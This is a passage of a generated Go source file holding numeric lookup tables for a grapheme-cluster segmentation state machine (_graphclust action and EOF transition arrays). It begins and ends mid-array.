0, 0, 0, 0, 51, - 0, 51, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 40, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 40, 21, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 40, 23, 40, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 40, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 43, 1, 47, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 15, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 7, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 13, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 5, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 9, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 11, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, -} - -var _graphclust_to_state_actions []byte = []byte{ - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 37, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, -} - -var _graphclust_from_state_actions []byte = []byte{ - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 3, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, -} - -var _graphclust_eof_trans []int16 = []int16{ - 0, 0, 3, 3, 3, 3, 3, 3, - 3, 3, 3, 3, 3, 3, 3, 3, - 3, 3, 3, 3, 3, 3, 3, 3, - 3, 3, 3, 3, 3, 3, 3, 3, - 3, 3, 3, 3, 3, 3, 3, 3, - 3, 3, 3, 3, 3, 3, 3, 3, - 3, 3, 3, 3, 3, 3, 3, 3, - 3, 3, 3, 3, 3, 3, 3, 3, - 3, 3, 3, 3, 3, 3, 3, 3, - 3, 3, 3, 3, 3, 3, 3, 3, - 3, 3, 3, 3, 3, 3, 3, 3, - 3, 3, 3, 3, 3, 3, 3, 3, - 3, 3, 3, 3, 3, 3, 3, 3, - 3, 3, 3, 3, 3, 3, 3, 3, - 3, 3, 3, 3, 3, 3, 3, 3, - 3, 3, 3, 3, 3, 3, 3, 3, - 3, 3, 3, 3, 3, 3, 3, 3, - 3, 3, 3, 3, 3, 3, 3, 3, - 3, 3, 3, 3, 3, 3, 3, 3, - 3, 3, 3, 3, 3, 3, 3, 3, - 0, 0, 147, 148, 148, 148, 148, 148, - 148, 148, 148, 148, 148, 148, 148, 148, - 148, 148, 148, 148, 148, 148, 148, 148, - 148, 148, 148, 148, 148, 148, 148, 148, - 148, 148, 148, 148, 148, 148, 148, 148, - 148, 148, 148, 148, 148, 148, 148, 148, - 148, 148, 148, 148, 148, 148, 148, 148, - 148, 148, 148, 148, 148, 148, 148, 148, - 148, 148, 148, 148, 148, 148, 148, 148, - 148, 148, 148, 148, 148, 148, 148, 148, - 148, 147, 148, 147, 148, 148, 148, 148, - 148, 148, 148, 148, 148, 148, 148, 148, - 148, 148, 148, 148, 148, 148, 148, 148, - 148, 148, 148, 148, 148, 148, 148, 148, - 148, 148, 148, 148, 148, 148, 148, 148, - 148, 148, 148, 148, 148, 148, 148, 148, - 148, 148, 148, 148, 148, 148, 148, 148, - 148, 148, 148, 148, 148, 148, 148, 148, - 148, 148, 148, 148, 148, 148, 148, 148, - 148, 148, 148, 148, 148, 148, 148, 148, - 148, 148, 148, 148, 148, 148, 148, 148, - 148, 148, 148, 148, 148, 148, 148, 148, - 148, 147, 148, 148, 148, 148, 148, 148, - 148, 148, 148, 148, 148, 148, 148, 148, - 148, 148, 148, 148, 148, 148, 148, 148, - 148, 148, 148, 0, 330, 330, 330, 330, - 330, 330, 330, 330, 330, 330, 330, 330, - 330, 330, 330, 330, 330, 330, 330, 330, - 330, 330, 330, 330, 330, 330, 330, 330, - 330, 330, 330, 330, 330, 330, 330, 330, - 330, 330, 330, 330, 330, 330, 330, 330, - 330, 330, 330, 330, 330, 330, 330, 330, - 330, 330, 330, 330, 330, 330, 330, 330, - 330, 330, 330, 330, 330, 330, 330, 330, - 330, 330, 330, 330, 330, 330, 330, 330, - 330, 330, 330, 330, 330, 330, 330, 330, - 330, 330, 330, 330, 330, 330, 330, 330, - 330, 330, 330, 330, 330, 330, 330, 330, - 330, 330, 330, 330, 330, 330, 330, 330, - 330, 330, 330, 330, 330, 330, 330, 330, - 330, 330, 330, 330, 330, 330, 330, 330, - 330, 330, 330, 330, 330, 330, 330, 330, - 330, 330, 330, 330, 330, 330, 330, 330, - 330, 330, 330, 330, 330, 330, 330, 330, - 330, 330, 330, 330, 330, 330, 330, 330, - 330, 330, 330, 330, 330, 330, 330, 330, - 330, 330, 330, 330, 330, 330, 330, 330, - 330, 330, 330, 330, 330, 330, 330, 330, - 330, 330, 330, 330, 330, 330, 330, 330, - 330, 330, 330, 330, 330, 330, 330, 330, - 330, 330, 330, 330, 330, 330, 330, 330, - 330, 330, 330, 330, 330, 330, 330, 330, - 330, 330, 330, 330, 330, 330, 330, 330, - 330, 330, 330, 330, 330, 330, 330, 330, - 330, 330, 330, 330, 330, 330, 330, 330, - 330, 330, 330, 330, 330, 330, 330, 330, - 330, 330, 330, 330, 330, 330, 330, 330, - 330, 330, 330, 330, 330, 330, 330, 330, - 330, 330, 330, 330, 330, 330, 330, 330, - 330, 330, 330, 330, 330, 330, 330, 330, - 330, 330, 330, 330, 330, 330, 330, 330, - 330, 330, 330, 330, 330, 330, 330, 330, - 330, 330, 330, 330, 330, 330, 330, 330, - 330, 330, 330, 330, 330, 330, 330, 330, - 330, 330, 330, 330, 330, 330, 330, 330, - 330, 330, 330, 330, 330, 330, 330, 330, - 330, 330, 330, 330, 330, 330, 330, 330, - 330, 330, 330, 330, 330, 330, 330, 330, - 330, 330, 330, 330, 330, 330, 330, 330, - 330, 330, 330, 330, 330, 330, 330, 330, - 330, 330, 330, 330, 330, 330, 330, 330, - 330, 330, 330, 330, 330, 330, 330, 330, - 330, 330, 330, 330, 330, 330, 330, 330, - 330, 330, 330, 330, 330, 330, 330, 330, - 330, 330, 330, 330, 330, 330, 330, 330, - 330, 330, 330, 330, 330, 330, 330, 330, - 330, 330, 330, 330, 330, 330, 330, 330, - 330, 330, 330, 330, 330, 330, 330, 330, - 330, 330, 330, 330, 330, 330, 330, 330, - 330, 330, 330, 330, 330, 330, 330, 330, - 330, 330, 330, 330, 330, 330, 330, 330, - 330, 330, 330, 330, 330, 330, 330, 330, - 330, 330, 330, 330, 330, 330, 330, 330, - 330, 330, 330, 330, 330, 330, 330, 330, - 330, 330, 330, 330, 330, 330, 330, 330, - 330, 330, 330, 330, 330, 0, 0, 0, - 0, 0, 0, 147, 761, 761, 761, 761, - 761, 761, 761, 761, 761, 761, 761, 761, - 761, 761, 761, 761, 761, 761, 761, 761, - 761, 761, 761, 761, 761, 761, 761, 761, - 761, 761, 761, 761, 761, 761, 761, 761, - 761, 761, 761, 761, 761, 761, 761, 761, - 761, 761, 761, 761, 761, 761, 761, 761, - 761, 761, 761, 761, 761, 761, 761, 761, - 761, 761, 761, 761, 761, 761, 761, 761, - 761, 761, 761, 761, 761, 761, 761, 761, - 761, 761, 761, 761, 761, 761, 761, 761, - 761, 761, 761, 761, 761, 761, 761, 761, - 761, 761, 761, 761, 761, 761, 761, 761, - 761, 761, 761, 761, 761, 761, 761, 761, - 761, 761, 761, 761, 761, 761, 761, 761, - 761, 761, 761, 761, 761, 761, 761, 761, - 761, 761, 761, 761, 761, 761, 761, 761, - 761, 761, 761, 761, 761, 761, 761, 761, - 761, 761, 761, 761, 761, 761, 761, 761, - 761, 761, 761, 761, 761, 761, 761, 761, - 761, 761, 761, 761, 761, 761, 761, 761, - 761, 761, 761, 761, 761, 761, 761, 761, - 761, 761, 761, 761, 761, 761, 761, 761, - 761, 761, 761, 761, 761, 761, 761, 761, - 761, 761, 